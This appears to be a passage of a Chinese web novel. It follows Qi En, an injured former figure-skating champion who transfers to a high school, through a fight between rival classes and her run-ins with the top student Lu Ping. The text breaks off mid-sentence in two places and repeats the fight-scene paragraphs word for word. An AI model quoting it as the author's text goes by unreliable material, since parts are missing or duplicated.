《要不要和我接吻?》
国王啊她
/珍珠利刃
/春焚嶙峋
/2024.9.1
转校生齐恩拄着拐杖。
这是她来榕城一高的第一天。
校门口简直人满为患。
或者说,从校门口到林荫道、到红底白线的塑胶操场、再到蓝砖白瓦的教学楼。
处处皆是人头撺动、摩肩接踵的大阵仗。
原因无他,齐恩实在是太有名了。
不时有学生从教学楼跑出来,硬生生赶出百米冲刺的效果,却不是因为到了饭点,而是因为那位被媒体称为国宝级花滑天才的转校生。
前排围观的同学们议论声尤其热烈。
“我的天呐,真是齐恩?前段时间就听说她要复课的消息,没想到是来咱们榕城一高了!”
“我的妈!你们都别挡着了!我到现在连齐恩的一根头发丝儿都没拍到,你们让开呀!”
“看就看呗,谁踩我的新鞋啊!一群男的大早上挤什么呀?上辈子没见过女的是咋的?”
“你才没见过女的,你早上没刷牙?”
方婕往跟前一站:“说谁没刷牙呢?”
谌俞一听,这声儿很熟悉呀。
他低头,面前空无一人。低头往胸口一瞅,豆芽菜一般的学生会长正目光炯炯地瞪着他。
“我没刷牙,我嘴滂臭,对不起对不起……”
算你识相。”方婕叉腰嘀咕,“不过我是真不明白,一个运动员有啥好看的,大半个楼的人都把早读翘了,跑这儿来看什么齐恩?我还齐天呢!刚来就搞这么大阵仗,她也不害臊!”
“齐恩是正儿八经的花滑世界冠军。”
搭话的是谌俞的好哥们,张其薪。谌俞乐呵呵朝他击掌,比了一个“兄弟我爱你”的手势。
方婕没说什么,悄悄地翻了个大白眼。
而那边,千人敬仰、万人空巷的退役运动员,却博爱地道:“大家别着急,签名合照一个一个来!千万不要造成人员踩踏呀!”
方婕不禁揶揄:“她倒摆上谱儿了,以为这是粉丝见面会吗?这里是学校,又不是她家!”
“温主任不总说,咱们要把学校当家吗?”
“谌俞!你今天就杠上我了,是不是?”方婕转念一想,“你跑得快,赶紧去政教处给温主任通报一下,这么多人无故旷课呢!”
方婕环视四周,又发现了另类的存在。
也是此时此刻唯一远离喧嚣的人——
全校第一,市级三好,卢俜。
他戴着一副低调朴素的厚框眼镜。
不声不响地绕过人群,图书馆去。
方婕难掩惊喜,小步上前叫住他:“卢俜。”
卢俜脚步放慢半拍,隔着灰色帽檐看她。
她眨巴着眼睛:“你打算去图书馆自习啊?”
还没等卢俜点头,方婕立马拍着胸脯保证:“放心,查勤组不会记你,我都交待好了。”
卢俜低声道了句谢,从头到尾没有往热闹处看一眼,明显不在意那位高调的转校生。然而,为了寻找恰聊的话题,方婕还是快步跟上他。
“听说了没,那个齐恩就是咱们年级新来的。嘿,你知道张其薪和谌俞怎么吹她的吗?天花乱坠的!你说她都拄个拐了,还给别人签名,还指挥起交通来了……怎么的,国王啊她?”
卢俜闻言,顺着她的视线望去。茫茫人海中,当然不能一眼就找到那个叫齐恩的转校生。
即使有,那
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也不是他该关心的。
“……我也不是很清楚。”
方婕有意和他多聊两句,奈何卢俜就是对热闹避之不及,她悻悻然,只好回头去维持秩序。
“喂,那边的,排队就排队,打什么架呀?”
方婕一看,吓一大跳。
“怎么还有下跪的?”
……
齐恩这头众星捧月,水深火热。她拿起笔就开始一张张签。方婕看到有人跪下的同时,齐恩也看到了。
姗姗来迟的温主任也看到了。
一时间全乱套了。
齐恩赶紧把人扶起来。
“齐恩我爱你……你的腿还好吗?会不会留伤?”那女生哭哭啼啼,“我每年都把你写进我的作文素材里……我要给你生孩子……”
齐恩忙道:“爱我就好,你别给我生孩子。”
女生哭得又跪倒在她怀里,歪头欣赏她的脸。
“齐恩,你好美,你真的长得好爽啊……”
又不堪重负地晕了过去。
得,这是晕美。
最终,方婕和谌俞把这位叫袁礼米的女同学送到医务室,其余围观的也被遣散原籍———
各回各班,各挨各批去了。
齐恩则被单独拎到教务处。
温主任苦口婆心:“齐恩啊,老师知道你是全国最顶尖的体育人才,在花滑领域内,更是没得说!但主任也有一句话不得不说啊,人呢,尤其是成功的人,往往贵在一个低调,你看你,刚来学校就摆起这么高的架子……”
齐恩强忍哈欠。
您教导的有理,谨遵您的教诲……这老师咋这么多车轱辘话?受欢迎又不是她的错。
从教务处
风云人物
“卢俜,念一声……这个人啊,呵呵。”
“呵呵是什么意思?”齐恩问,“有过节?”
谌俞耐人寻味地:“反正不是和我有过节。”
“那就是和咱们班长有过节?”齐恩猜测。
“不好说,很复杂。”谌俞卖关子,倒不是不能说的事儿,不过他想钓钓转校生的好奇心。
谁知道齐恩压根不问了,径直推开图书馆大门,只留他一个拄着单拐的纤细修长的背影。
“……行了行了,就是去年运动会那事儿。”谌俞摊手,“反正咱班和一班关系不咋的。”
“是和一班不咋地,还是和卢俜不咋地?”
“都———不咋地。”谌俞延长了声儿,“不过,不得不承认,卢俜这个人特别会读。”
“你看那面墙,都是他的名字,可以消消乐了都。校园贴吧的同学都管这面墙叫卢俜墙。”
“嚯,这么高调啊?”齐恩讶然,一面墙居然以一个人的名字命名,多半含金量很高。
“是啊,从各学科竞赛到今年的市三好学生,再到咱们这次期中排名,你且看他的吧。”
“德智体美劳全面发展。”齐恩评价,“不愧是省重点,我校教出来的人才就是不一样!”
“德智体美劳。”谌俞抚掌大笑,“我的妈,你对咱们一高的评价相当高啊。”
“是啊,不然我怎么来我校发展呢?”齐恩考他,“你知不知道我发展的是哪一项?”
谌俞笃定道:“那还用说么,体,是吧?”
“不是,我发展的是美。”齐恩哈哈大笑。
居然还有人明着说自己漂亮。
偏偏她的脸蛋就是让人无法反驳。
“啊——是,是是是,您是美。”
谌俞又害羞地摸了摸鼻子。
明明自夸的人是齐恩,然而局促的人却是他。谌俞很清楚,一个姿色拔尖的人往往无需自谦于容貌。因为这本身就是令人羡慕的武器,即使再怎么自谦,也会被有心之人认定为虚伪。
“你确实长得挺牛逼的,混血有基因优势啊。话说,你这张脸不进演艺圈真是可惜了。”
没成想,齐恩忍着笑看他半晌,扑哧一声:“……我说的也是艺考美!我学表演的!”
“啊?”谌俞才反应过来,是他想岔路了。他捧腹大笑,“哈哈,抱歉抱歉,我以为呢!”
谌俞止住笑才问:“我还以为你会继续走竞赛这条路呢,天赋挺好的啊,不打算复出吗?”
“唉,老啦,滑不动啦。”齐恩豁达地道。“跟腱磨损太严重,估计撑不到冬奥会了。”
她看向自己的右脚:“教练组建议我趁早退役,还不耽误高考呢……喏,我就趁早了。”
她轻描淡写的语气,谌俞却愣了愣。
对于一位正值花期的花滑选手来说。
无法脚踩冰刃,就如同飞鸟被折断双翼。
“此处不留爷,艺考也是一个出处呀。你不是说我这张脸不进演艺圈可惜了吗?”齐恩心态还挺乐观,引经据典道,“伟大的教員说过,我是革命一块砖,哪里需要哪里搬;我是发展一枝花,哪里需要哪里插了……没毛病吧?”
“没毛病。”谌俞被她的豁达逗笑了。
“哦对了,刚刚说到哪了?那个卢俜,你们为什么讨厌他?他是当着谁的面臭得瑟了?”
“你不是对这人不感兴趣吗?”谌俞含笑瞧她一眼,瞥到她俯身去抱书本,连忙抢了过来。
“我能自己搬书不?”齐恩一手空空,非常不自在。谌俞把书护得紧紧,凶巴巴说不能。
让一个女生抱书,还让一个行动不便的女生抱书,这把他一个爷们儿的颜面置于何地?
人也不能干等着吃白饭。齐恩指着操场边的小卖部自告奋勇:“我去买水吧,你喝什么?”
“带汽儿的就行。”这天确实热,书也确实重。谌俞抹了把汗,在林荫下的长板凳等她。
齐恩走进小卖部,抻着拐打开冰柜,拿了可口可乐和矿泉水。去柜台结账,收银员说只能刷校园卡。
转校生没有校园卡:“扫码不行吗?”
得到了否认的回答,齐恩原地踌躇来一会儿,正巧余光瞥见店内一抹灰色身影。准确来说,只有脑袋是灰色的。这名男同学戴着兜帽。
“同学。”她客气地询问,“打扰了,方便借一下校园卡吗?花多少我转给你。”
他没看她,也没说话,只是拿出蓝色校卡。修长的手指下移,卡片在磁感器上一碰即撤,扣款二十。
齐恩
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还来不及反应,他转身就走。
“诶,同学,先别走。”
她下意识伸手拦他。
还没有碰到身体,他已经应激似的避开,绷直了身体。齐恩心想,这人真不适应肢体接触。
她又递出条码:“扫我一下。”
“……不用。”他说话时终于正脸对她,然而,齐恩只看清了他坠重帽檐压下的头发。
醇厚巧克力色的,发尾打着卷边儿。小羊卷。
“话说,你是我粉丝啊?”齐恩很有亲和力地笑了笑,“粉丝就更不兴请客了,我请你还差不多呢。谢谢你替我
在那个寸头男生的身上,面色狰狞,眼眶充血的红。他攒起拳,又狠砸了好几下。
那人不甘示弱,翻折上身就要反击。两人都挂了彩,规矩的校服被挤皱成大陆的生长边界。
谁也不知道发生了什么。
战况非常激烈。
值班的老师还没反应过来,高玟先冲上去拦人了:“张其薪!别打了,你冷静点儿,这是在办公楼啊!”
温主任看到这番情形,脸色骤变。
而市优等生卢俜缓步跟在他身后。
身型颀长清瘦的少年,驻足在逼仄楼道的溢光处,背脊挡住绚而散射的光线。小羊毛卷儿,散淡的褐,看起来比旁人温顺,也遮住眉下那两朵澄净如湖泊的眼镜片。
镜头一瞬间放慢。
卢俜转身离开了。
在那个寸头男生的身上,面色狰狞,眼眶充血的红。他攒起拳,又狠砸了好几下。
那人不甘示弱,翻折上身就要反击。两人都挂了彩,规矩的校服被挤皱成大陆的生长边界。
谁也不知道发生了什么。
战况非常激烈。
值班的老师还没反应过来,高玟先冲上去拦人了:“张其薪!别打了,你冷静点儿,这是在办公楼啊!”
温主任看到这番情形,脸色骤变。
而市优等生卢俜缓步跟在他身后。
身型颀长清瘦的少年,驻足在逼仄楼道的溢光处,背脊挡住绚而散射的光线。小羊毛卷儿,散淡的褐,看起来比旁人温顺,也遮住眉下那两朵澄净如湖泊的眼镜片。
镜头一瞬间放慢。
卢俜转身离开了。
麻烦的人
张其薪和周第不是头一回打架了。
然而,这却是头一回打到主任办公室里。
“说说怎么回事?”温主任大马金刀一坐。
其余同学在他面前站成一排,面面相觑。
只有齐恩是坐着的。
这就要说回五分钟之前。
教导主任都站在跟前了,周第和张其薪依旧打得难舍难分。看着是张其薪压在他身上,其实也没落到多少好处。周第在底下踢着腿挣扎,鞋跟猝然踹到了一旁看戏的齐恩……的拐杖。
他自己倒是先惨叫一声,捂住剧疼的脚趾头。
拐杖猝然脱手,摔了个屁股蹲儿的却是齐恩。
人仰马翻,齐恩在众目睽睽下跌倒在地。
这场斗殴最终伴随着她的痛呼戛然而止。
齐恩被搀扶到主任办公室的沙发坐下。
巧的是,这也不是头一回坐主任的沙发。
就在早自习前,温书记还大肆教育过她一顿,看她拄着拐挨训蛮可怜,也是让她坐下听训。
此刻,办公室里血气方刚的年轻人。
分别是一班和十七班两派人马。
十七班班长张其薪犯错,刘彩睡得眼皮昏沉,接到消息来的很快。
现在高玟在和他解释,齐恩一个人坐沙发很不自在,左扭右扭的。
两军交战,不斩来使。
齐恩和眼下的情况没关系。
张其薪很狼狈,眼角渗血,金边的眼镜腿儿断了半截。掩着自己的伤处,他说:“刘老师,是一班周第先挑衅的,他说我们班下梁歪。”
下梁歪,上梁不正才下梁歪。
周第明显刺向十七班的班主任。
周第一个人站在对面,眼神阴鸷,对自己说过的话不加反驳,“所以你就可以动手打人?”
温主任向来不偏袒谁:“周第,你也有问题。都是同学,为什么平白说人家班的不对?”
“他们班本来就……”周第收了声,“他们不也说我们了?之前那些旧帐难道要翻出来?”
“我们明面上说了吗?”高玟忍不住道,“你们一班就是爱玩阴的,这点小事也告老师!”
刘彩眼看越吵越烈,忙摆出班主任的架子:“行了,高玟,你别太激动了。还有张其薪,这样不理智、斤斤计较,还当什么班长?这件事是你先动的手,就是不对,给周第道歉。”
张其薪不忿,但没怎么倔着,咬着牙关说:“……对不起,周第,我不该和你动手。”
“行了,你们回去各写一份检讨交给我。”
听这意思,就是要大事化小,小事化了。
年轻的班主任刘彩也跟着松了一口气。
这时,一道高跟鞋踏地板的声响由远及近。
“慢着,刘老师,这事还没那么好解决。”
正装肃然的中年女人,眉眼细挑,人中深陷,法令纹深瘪。看这架势,估计就是高二一班的班主任兼年级数学组的组长——柯老师。
“咱们年级的老师里,就属一班的班主任柯俐最凶最傻缺。”谌俞先前聊天时略微提及。
齐恩眼下才见到柯老师的真容。
柯俐将手中捲起的试卷舒展,推了推鼻梁上的红细框眼镜:“是他们班张其薪先动的手?”
刘彩赶紧解释:“同学间小打小闹而已,值班的陈老师也看着呢,没闹出多大的动静。”
“那要闹出多大的动静才算动静?”柯俐道,“主任,现在是部里领导莅临的关头,刚才,你们在上面打,李部就在楼下视察。”
柯俐说什么话,从来不避讳学生,而且教风趋于狼性。温主任对她这一点很不满意。但她又是个办事非常利落精明的,上的了台面。
“如果,我是说如果,人家上来一看,我们学校就这样的校风,回去怎么和上面反馈?”
这事说小可以很小,说大了,让张其薪背个处分也不为过,柯俐明显不打算善罢甘休。
“我看先送到政教处,咱们年级组长开个会决定一下警告处分还是严重处分。”
“柯老师,这么个小事还要处分,也太大费周章了吧!”刘彩急得都要跳起来了。张其薪是不能随意背处分的,这一点他比谁都要清楚。
柯俐不依不饶:“这是小事?刘老师,那我希望你们班以后天天都出现这种小事。我们一班可是头一次出现打架斗殴,必须严肃处理!”
两位班主任针锋相对,刘彩占了下风。一旁的十七班学生里,高玟正在询问事情的经过。
张其薪似难言,以三个人能听见的声音透了底儿:“周第说了很多人,我实在没忍住。”
“再怎么没忍住也不能在教师楼里开打啊!”高玟瞪他,“你找个没人的地方约……”
这是在政教处,高玟敢说,张其薪都不敢听,他连忙打断了她:“之后再说。反正他说我是偷分贼,说谌俞是外援逼,说你是超雄矮女,又说彩老师,最后……还说了……齐恩……”
他复杂地看了一眼齐恩。
“他说我什么?”齐恩问。
“说你是个半残废……”
齐恩闻言,无畏地挑了挑眉尾,不置可否。
高玟却气急:“他,他怎么能这么说?!”
齐恩又问:“他前面说的那些,都是咱们班和一班从前的过节?他怎么突然这样挑衅?”
“都是高一高二发生的事……”张其薪摇头,“我不知道,可能互相看不顺眼挺久了。”
柯俐还在不依不饶:“这事闹的太大了,还是在办公楼打,这幸好是温主任你看到了,要是别的人呢?那还让我们一班的脸面往哪搁?”
高玟不敢跟老师大声叫板,只敢小声嘀咕:“是是是,全年级就你们一班最要脸了,我们二班到十八班全部都是不要脸的货色……”
简单地了解完事件的经过,齐恩顺着张其薪惴惴不安的视线,又看向对面一班的学生们。
当然,还有那个可爱的巧克力色羊毛卷。
卢俜,一班班长,三好学生。
原来他刚才是去搬救兵了。
柯俐有深意地看一眼周第,周第立马会过意来,撂衣,露出手臂上一道淤青:“主任,这是被他打的……我基本上没怎么还手。”
“放屁的你没怎么还手!”高玟顿时火气上涌,“你看看张其薪的脸上,还有腿上,你把他打成那样!就你一个人会卖惨是吗?”
“安静,这位同学。”柯俐见效果达到了,才开口制止,“刘彩,你就是这样教你班的学生讲脏话的吗?还有,老师说话你插什么嘴?”
温主任:“都消停一下,闲杂人等都出去,吵吵嚷嚷的,这里是政教处,又不是菜市场。”
刘彩头疼,脑袋嗡嗡的,他扶起额头。
“……高玟,你先出去,还有齐恩。”
高玟不想走,别别扭扭伫在一边。
齐恩拉了拉她,又伸手去拿拐杖。
她撑着拐杖站起,却是直直走向张其薪。
“我觉得班长不像会突然动手打人的人。”
她转而问周第,“你说了些什么?”
也许美丽本身就是锋芒,明明是同龄人,当齐恩望向他的时候,周第不可抑制地心虚起来。
柯俐挡在自家学生面前:“周第说什么重要吗?重要的是你们班的张其薪先动了手。”
张其薪沉默。不可否认,这是事实。
齐恩不说无用的话,她侧过头对刘彩建议:“刘老师,我觉得还是查一下监控比较好。”
“是,温主任。”刘彩赞成。“两边口径不统一,公说公有理,婆说婆有理,也很难知道实情。不是有收声监控吗?看一下怎么回事。”
柯俐本来没有异议,但看周第神色局促不安,她也感到几分不对劲,暗暗蹙起凌厉的眉。
“周第,你对张其薪说了什么?”
周第眼神闪躲:“我……没说什么……”
温主任怀疑的视线也投过来。
这时,静观局面的卢
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俜悄然走到周第身旁,轻声问了两句。周第没说什么,只是勉强点头。
他转而对班主任柯俐说了什么,声音很低伏,其余人面面相觑,听不清他们谈论的内容。
“你们在说什么?”齐恩高声询问,“有什么话不能说给我们大家听吗?非要私底下交流?”
此言一出,整个办公室陷入冰封。
老师和同学们的眼睛都瞪直了。
国手都这么血气方刚的吗?
柯俐气得眉一竖,要训人,看到温主任还在,强摆出笑容:“齐同学,这和你又没关系。”
“怎么和我没关系?”齐恩反驳,“张其薪说周第骂我,人身攻击,这也和我没关系?”
柯俐一怔:“什么意思?他说你什么了?”
“他说我是残疾。公然辱骂国家运动员。”
“啊,是,好像是得开会讨论。”齐恩煞有其事,“触犯刑法,情节严重得判三年呢。”
周第慌道:“你,你不能上纲上线,我就是随便说了两句,哪有辱骂你那么严重……”
齐恩心平气和地,拿出手机作势要拨号:“其余人我管不着。你们打架,至于谁先冒犯到谁,又有什么隐情,不查监控谁也不能确定。不过你既然辱骂了我,我是肯定要报警的。”
温主任连忙制止她:“等等,齐同学,先别着急,老师们还没有把情况调查清楚。”
柯俐的反应也很快,快步上前道:“齐同学,你肯定是误会了,周第他没有那个意思。”
“有没有那个意思,看看监控不就行了吗?”高玟乘胜追击,“难道不能看吗?”
“没有说不能看。”温主任抬手,无视了柯俐的欲言又止,“现在就给安保科打电话。”
局面因齐恩的入场而突然两极反转。此刻,有人捏了把汗,有人松了口气。十七班是后者。
办公室逐渐安静下来,只剩温主任在拨号。
有人轻咳了两声,是卢俜。
“温主任,不用麻烦您查监控了,周第说是他先动手的,他也愿意承担一切责任和后果。”
在他身侧,周第抿了抿干涩的唇,没了之前威风的神色。“是我……先动的手。”他低下了脑袋,“对不起,张其薪,我给你道歉。”
柯俐也抿起一个局促的笑:“啊,是,这一回是我们班学生的错,回头我会
好好教育的。”
包变脸,还真是包变脸。
吃软怕硬的一班人。
高玟假惺惺地说反话:“我看不是,张其薪的错更多一些,温主任,这还是得处分。”
“处……处分的事……”周第胸膛急促地起伏,“没,没有那么严重吧,温主任?”
“同学之间的打闹而已,当然没那么严重。回头我和刘老师好好教育他们就好了。”柯俐以讨好的神态望向刘彩,“是吧,刘老师?”
这事能平息就是最好的结果。刘彩是年轻老师,不想得罪谁,当然也不想被谁得罪。
如此一来,最后的结果变成两人各停课一周,各写检讨,下周的国旗下讲话时公开批评。
一堆人前前后后出了办公室。
温主任无奈地捏了把眉心。
一个两个的,说实话,这些学生都不是他一个普普通通的教育工作者能随便得罪得起的。
难做啊。
外面的走廊上,刘彩领着十七班的人去医务室看袁礼米,柯俐和两位同学坐电梯下行。
不巧电梯在维修,他们折返回来。齐恩放了拐,单脚靠在医务室前,闻声和卢俜对视上。
她过于漂亮张扬,中美混血的五官大刀阔斧,像劈开大山大河、某个国度的版图。
年轻、有朝气、英姿飒爽。
尤其符合方才兴师问罪的气势。
并不是一个好招惹的人。
想到今早在便利店时,因不擅长和麻烦的人或事打交道,而随意地对一位女同学施以援手。
卢俜顿感自己做了一件麻烦事。
伤残等级
真是奇特。任凭外面的世界闹了个底朝天,又是有人打架,又是有人处分,又是有人报警。
医务室里的袁礼米依旧睡得香甜。
直到感觉有人在拍她,袁礼米才懒懒地睁开眼,班主任的大黑脸霎时出现在她面前。
袁礼米梦中惊坐起:“彩老师你怎么来了?”
班长带头打架,前国手刺头转校生,学习委员还是个睡神……这是一群什么奇葩学生?
刘彩气都气笑了。
“外面那么吵,没打扰你睡觉吧,袁礼米?”
袁礼米闻言,害臊地低下头去:“老师……”
“行了,身体还有没有哪里不舒服?”
“没有了。”袁礼米想起自己为什么晕倒,“那个……麻烦你们了……”
“不麻烦。”高玟捏她脸颊肉,“小厘米。”
刘彩说:“你们啊,一天天的书读不了几页,倒是很团结……以后少和一班同学看对眼。”
“啥看对眼啊,老师,这词是这么用的吗?”
“动物不就是?一群小猫小狗的,在街边遇见了,不能对视,看对眼了就要打架。”
“哪有把人比成狗的啊!”高玟吐槽。
这一趟有惊无险,虽然要写检讨,但至少没挨处分。张其薪没办法跟同学们一起其乐融融。
他走到医务室门口,看到倚墙站立的齐恩。
他干涩地朝她开口:“谢谢你帮我解围。”
齐恩抬眉笑了:“小意思啦,客气什么?”
张其薪站在靠齐恩左手一侧,他有话要说。
齐恩察觉到,就把拐杖挪到自己右手边。
张其薪折过头看她:“说真的,谢谢你。我爸是体制内的,我背了处分还挺麻烦的。”
“都说了不用客气。”齐恩顿了顿,“而且你不也帮我出头了?他也骂我了,你揍得好。”
张其薪垂眸道:“其实我后来也觉得不对劲,明明场合不合适,他为什么非得激怒我?”
“你得罪过他吗?”齐恩问,“他是因为一班和十七班的过节想整你?还是单纯对你这个人有意见?而且,他知道你家体制内的关系吗?
“你这么一说,我感觉他是受人指使……咱们班和一班的事很难解释,回班上再细说吧。”
齐恩颔首。张其薪也没让话题冷下来。
“说实话,我一开始以为你是那种人。”
齐恩不确定他的语意:“我是哪种人?”
“就是……比较圆滑的人。”张其薪解释,“你身份在那里,容易引人注目,所以……”
“你是想说,我是公众人物,不想惹麻烦,所以会独善其身?”齐恩爽朗地大笑起来,用力摆了摆手,“我不是那种人……差的远了!”
齐恩笑得花枝乱颤,眉眼弯弯。
张其薪却不自在地别开眼。
齐恩看自己的右脚。
她有旧伤,媒体报道过几次,可他才想起:
“你的脚没事吧,需不需要去医院复查?”
“我没崴到那里,摔的是后腰。”齐恩说,“我周末会去复查,倒是你,没事吧?”
“其实也是一些皮外伤。”张其薪顿住,“如果你不方便出行,我可以陪你去复诊。”
此话一出,齐恩似笑非笑地瞧着他。
张其薪窘迫地道:“我是班长,帮助同学是应该的。别的不谈,你受伤也是因为我。”
“不麻烦你。”齐恩这回婉拒了他,“不过,你下周复课的时候,就能看到我扔拐杖了。”
“啊,恭喜你。”张其薪说,“下周你也能看到我在国旗下讲话挨批了。”
“好汉不挨批,天打又雷劈。”齐恩宽慰他,“没被批评过还能叫学生时代吗?”
这时,刘彩也带着高玟和袁礼米出来了。
“回班,正好开班会,给你们交代点事情。”
一众人回到班上,袁礼米的脸还是红扑扑的,时不时望向自己的偶像。在得知齐恩是自己的新同桌之后,她激动难掩地捂住心脏。
“我在做梦吧!”她泪眼盈盈,不可置信的,“齐恩!你就像一场梦一样出现了!”
那我是啥,周公?齐恩这样想着,扶住了她:“袁同学,你先坐下吧,别又晕倒了。”
彩老师在讲台上发表重要讲话。
说是重要,其实也就是提醒大家注意点班级之间的距离,不要随便找别班同学的不痛快。
刘彩走了,班上的人还在讨论方才斗殴的事。一般来说,一个事儿在本班是最先传开的。高玟立刻趁着大课间,绘声绘色、原汁原味地和班上的同学讲了一回,当然也有齐恩的戏份。
齐恩很尴尬,周围好多星星眼瞧着她。
谌俞尤其:“噢!齐恩,我的女神!你这是救了张其薪的命啊!张其薪,快来认爹。”
张其薪说不出口,他不是那种欠儿登的人。
有些话,谌俞说出来就很自然,他不行。
上午一二节政治课,三四节数学课。陈老师是个戴眼镜儿的小老头,真的会拖堂的那种。
老师在讲卷子,齐恩宛如听天文书。高玟咬着手指刷地理题,袁礼米倒
是听得十分认真。
张其薪被点上去讲题,听高玟说数学是他强项。齐恩心想,原来艺体班也是要学的呀。
高玟说:“小厘米是本班的,班长是从一班转过来的,不过具体发生了什么我也不清楚。”
这还真是小说化的情节,有隐情的武林高手,隐姓埋名于市,还一些帮派的人结了仇。
真有意思,齐恩想象力丰富,一边感慨着一边转笔,注意力四处乱转,就是回不到题目上。
原本以为自己已经够一头雾水了。
却看到后桌的谌俞同样在发呆。
“诶,那道题你听得懂吗?”齐恩问他。
谌俞看着满黑板的字母:“我不会英语。”
“……”
齐恩原本以为一知半解的只有自己,没想到班上有一半的人都在各做各事。数学陈老师早就见怪不怪了,拖堂讲完试卷就叹着气走人了。
正好是饭点,谌俞带齐恩去食堂办饭卡。
“谌俞,你是不是也数学不好?”
“你怎么知道?我数学没到过及格线。”
齐恩摸着下巴:“文化分太低也不好吧。”
“是啊。”谌俞苦哈哈的,“我又不是你。”
“什么意思?”
“你是奥运冠军诶!”
谌俞很夸张:“你不懂奥运冠军的含金量吗?以你的成绩,都不用统考,好学校随你保!”
“这我倒不知道,是不用考文化课的意思?”
“那当然啊。”谌俞说,“我嫉妒死你了!”
“那我不是伤残人士么?”齐恩看向右脚。
“话说,要不要一起报补习班?”齐恩提出诉求,“我就是想找个老师,不嫌我基础差就行。我看班长讲题很厉害啊……他缺钱吗?做兼职吗?可以聘请他给我们补课。”
“他?”谌俞笑了,“你说张其薪啊,谁缺钱他都不会缺钱,还聘请他呢,你可拉倒吧。”
“说是这么说。”齐恩摸下巴,“你不也得提一下文化分?既然你数学英语都不行的。”
“越界了啊。”谌俞被戳到痛处,义正严辞地驳斥她,“你这样,我们之间太暧昧了。”
“……”
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阿姨把校园卡递过来,谌俞提醒她:“这卡是门禁卡,阅览卡,也是饭卡。但我不建议你往里充太多,我上学期充了两千,结果在操场被偷子顺了,一下子给我全刷光了。”
往饭卡里随手一充就是两千,齐恩正儿八经地打量着谌俞,一身的运动潮牌,海外限量款的乔丹,又想到他说,张其薪家里更不缺钱。
“……你们该不会都是富家子弟吧?”
“那不至于,对了,我请你吃小炒吧?”
“别,我去一楼超市买吃的对付一顿。”
“你不吃饭?”谌俞说,“该不会在减肥?”
“没,我想吃面包。想请我,等下次吧。”
谌俞急促地眨眼,最后也抬脚跟上她。
“那我也吃面包吧……突然就想吃了。”
齐恩并非迟钝,她朝着谌俞抿着笑意。
“那不然?你一个人也不方便,我怎么好意思扔下你。”谌俞尴尬地摸摸鼻子,“走吧。”
.
齐恩周末去医院复查,医生告诉她可以脱拐了。脱拐要步态训练,还有一些注意事项。
下个周一,也就是升国旗那日,齐恩终于能够以两只脚的形态出现在同学们面前。
因为刚脱拐,她的右腿还有点跛,但不影响日常出行,就是不能走太久,不然后腰会酸。
齐恩快乐地来到操场上,尽管不健步如飞,但终于不用当三脚架,她的脸上洋溢着笑容。
“待会儿张其薪和周第就要上去做检讨了。”高玟说,“齐恩,你这时候笑就有点怪。”
“怪就怪我这条腿!”齐恩伸出右脚,“不知道怎么的,今儿个我看到它,我就高兴!”
“行了行了,知道你脱了拐高兴。”谌俞提议,“放学了出去吃点庆祝一下?我请客。”
齐恩点了点头。
唱完国歌,就是国旗下讲话的环节,齐恩以为张其薪和周第要上去检讨了,没想到先走上台的是卢俜和方婕。两人都穿夏季正装,笑容得体、口齿清晰,发表市三好学生的获奖感言。
闪光灯亮起。摄影师在正前方拍照。
“搞这么大架势,全校就他们班最牛。”谌俞说,“对,特别那个卢俜,虽然周第也很贱,但我总觉得卢俜一副看不起别人的样子。”
“方婕也很恶心好不好?仗着自己管扣分,天天使唤人,还只给男生消分。”高玟附和。
周遭很哄闹,袁礼米却在站着睡觉,差点仰躺在她身后的齐恩怀里。齐恩忙伸手接住她。
事实上,没几个人专心听台上的学生讲话。
无论是优等生还是差等生,表彰还是批评。
总之,这周的升旗仪式在阵阵喧声里结束了。站了二十分钟,齐恩腿都麻了。她顺着人流往教学楼去。上楼梯的人太多,她等了一会儿。
她确实多等了一会儿。
如果知道伤残等级即将增加。
她绝不会多等这
一分半钟。
可当时她怎么会知道?
就像卢俜也不会知道。
他往下,去归还颁奖用的空白证书。
她往上,楼道里的人好不容易少些。
两人擦肩而过,有人挤搡了卢俜。
他往前绊了一步,踢到什么东西。
下一秒,齐恩痛呼,脚撇了地面栽倒下去。
一瞬间,卢俜感受到周遭无数目光的重量。
高调张扬的前国手此时侧躺在拐角处,颤抖、蜷缩起身体,两只手紧紧抱住自己的左脚踝。
卢俜走过去,蹲下身问:“你还好吗?”
齐恩抽着细细的气:“你很讨厌我吗?”
“……非要猛踹瘸子那条好腿?”
三好学生
卢俜只好解释:“抱歉,我不是故意的。”
“这不是一句废话?”齐恩脸贴着地面,直勾勾盯着他问,“你有没有觉得地上很硬?”
卢俜不知怎么回答:“……我不清楚。”
“废话!躺在地上的又不是你!”
齐恩瞪他:“还不扶我起来?”
卢俜赶紧把女国手搀扶起来。
齐恩扶着断裂般的左脚嘶嘶两声,在他小臂的借力下堪堪站直。他不太正常,浑身都绷紧,身体作出闪躲的预备式。齐恩疑惑地看他。
这时候才察觉卢俜很高,她只到他的喉结处。
“你躲什么?”齐恩问,“我是瘟疫吗?”
卢俜抿着干涩的唇:“……不是。”
“那拜托你送我去医务室,行吗?”
没有不行的选项。
三好学生只能照做。
齐恩试着走两步。走两步,没病走两步。
有病,病很大,左脚踝被一阵阵电流猛击。
我的拐,她心说。她这时候只想念她的拐。
卢俜扶着她,慢吞吞地前行,往医务室。
不时有路过的人围观,两人都没说话。
好在电梯已经修好了,能省去上楼的苦刑。
进了电梯,齐恩靠住栏杆,卢俜去按楼层。
齐恩突然问:“你到底是不是我粉丝?”
卢俜不明所以,镜片下闪着棱光:“什么?”
“上周在小卖部帮我付钱,是你吧?”
卢俜回答是,电梯门打开。
他来搀扶她,齐恩重新搭上他的手。
卢俜回答的是第二个问题。
齐恩默认了第一个问题的答案。
好吧,他就是有点腼腆。这小粉丝。
“那你有什么想对我说的吗?”齐恩摆出完美的营业状态,对粉丝,她总可以容忍一些。
卢俜无话可说,做沉默状,把她送进医务室。
值班老师抬头:“齐恩?这是怎么了?”
“这回伤的人是我。”她抬脚,“崴了。”
“怎么突然就崴了?”老师把她扶到椅子上。
齐恩直直睨向卢俜:“你说呢,卢同学?”
卢俜暗中捏紧了衣袖:“大课间走楼梯的时候,我不小心往前绊了一下,踢到她了。”
“也真是,走路不知道小心一点。”陈老师感叹,“人家是运动员,能少受伤就少受伤。”
非常麻烦。卢俜低声说:“我知道了老师。”又朝齐恩欠身,“对不起,齐恩同学。”
他这样的态度,既木讷又刻板。
却让人没什么好苛责的。
“没别的事,我就先去上课了。”卢俜转身。
齐恩本想点头 ,想到上周张其薪和周第的事,他在旁边看戏的态度,突然有点儿不爽。
既然是她的粉丝,又殷勤地请她喝水,怎么人多的时候,搞得和她没有交集的样子?
